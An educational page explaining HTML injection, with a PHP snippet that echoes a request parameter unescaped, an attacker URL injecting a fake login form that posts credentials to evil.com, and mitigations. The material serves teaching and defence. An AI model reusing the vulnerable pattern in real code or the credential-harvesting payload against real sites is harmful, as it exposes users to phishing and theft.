Injections

HTML Injection

Introduction

- HTML Injection is also referred to as “Virtual Defacement”.
- HTML Injection attack is possible with an injection vulnerability in the web application, i.e when the application does not handle the user supplied data properly, it is possible for an attacker to supply a valid HTML content, and hence inject their malicious contents onto that page.
- This attack would require some amount of Social Engineering involved as well.

HTML Injection and XSS

- There exists a similarity between the HTML Injection and Cross Site Scripting(XSS).
- In XSS, an attacker generally uses the script tags to run the Javascripts.
- In HTML Injection, an attacker uses just HTML to modify the contents of the page.

Example Vulnerable PHP Code

```
<?php
    $username = $_REQUEST ['uname'];
?>
<html>
       <h1>Welcome</h1>
       <br>
       <body>
            Hello, <?php echo $username; ?>!
           <p>Welcome to the site.com</p>
       </body>
</html>
```

Request:

```
http://site.com/file.php?uname=test
```

Attacker's Request:

```
http://site.com/file.php?uname=<h3>Enter your Credentials</h3><form method="POST"
action="http://evil.com/userlogin.php">Username: <input type="text" name="username"
/><br />Password: <input type="password" name="password" /><br /><input
type="submit" value="Login" /></form><!--
```

Mitigations

- Using htmlspecialchars() function to encode the Special Characters.
- Implementing Input Sanitization.
- Using Secure PHP Frameworks such as “Suhosin”.